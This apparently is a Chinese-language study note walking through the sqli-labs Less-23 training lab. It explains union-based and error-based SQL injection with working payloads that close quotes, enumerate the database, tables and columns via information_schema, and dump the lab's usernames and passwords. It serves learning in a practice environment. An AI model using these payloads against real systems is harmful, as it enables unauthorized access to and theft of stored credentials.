之前学习了一遍 sqli-labs,这是巩固复习一遍,代码全部手敲,加深印象
错误型 union 联合查询
原理介绍
sql 语句
SELECT * FROM users WHERE id=’-1’ union select 1,@@datadir,’3’ limit 0,1
测试语句
?id=-1’union select 1,@@datadir,’3
为什么要用 id=-1
因为 sql 语句执行了两个 select 语句,第一个 select 为 id 的选择语句,第二个为我们构造的 select 语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个 select 要没有结果,所以 -1 或者超过数据库所有数据都可以。
如何构造
-1’ union select 1,@@datadir,’3,第一个’(单引号)闭合 -1,第二个’(单引号)闭合后面的。这样将查询内容显示在 username 处。
其他注入方法
此处可以报错注入, 延时注入, 可以利用 ’ or ‘1’=’1 进行闭合。
报错注入: ?id=1'or extractvalue(1,concat(0x7e,database())) or '1'='
Less-23 错误型 union 联合查询
测试
?id=1” or 1=1#
猜数据库
?id=-1’ union select 1,(select database() limit 0,1),’3
结果为 security
猜表名
?id=-1’ union select 1,(select (group_concat(table_name)) from information_schema.tables where table_schema=’security’ limit 0,1),’3
结果为 emails,referers,uagents,users
猜列名
?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=’users’ and table_schema=’security’ limit 0,1),’3
结果为 id,username,password
猜数据
?id=-1’ union select 1,(select group_concat(username) from security.users limit 0,1),’3
?id=-1’ union select 1,(select group_concat(password) from security.users limit 0,1),’3结果为
username: Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 password: Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4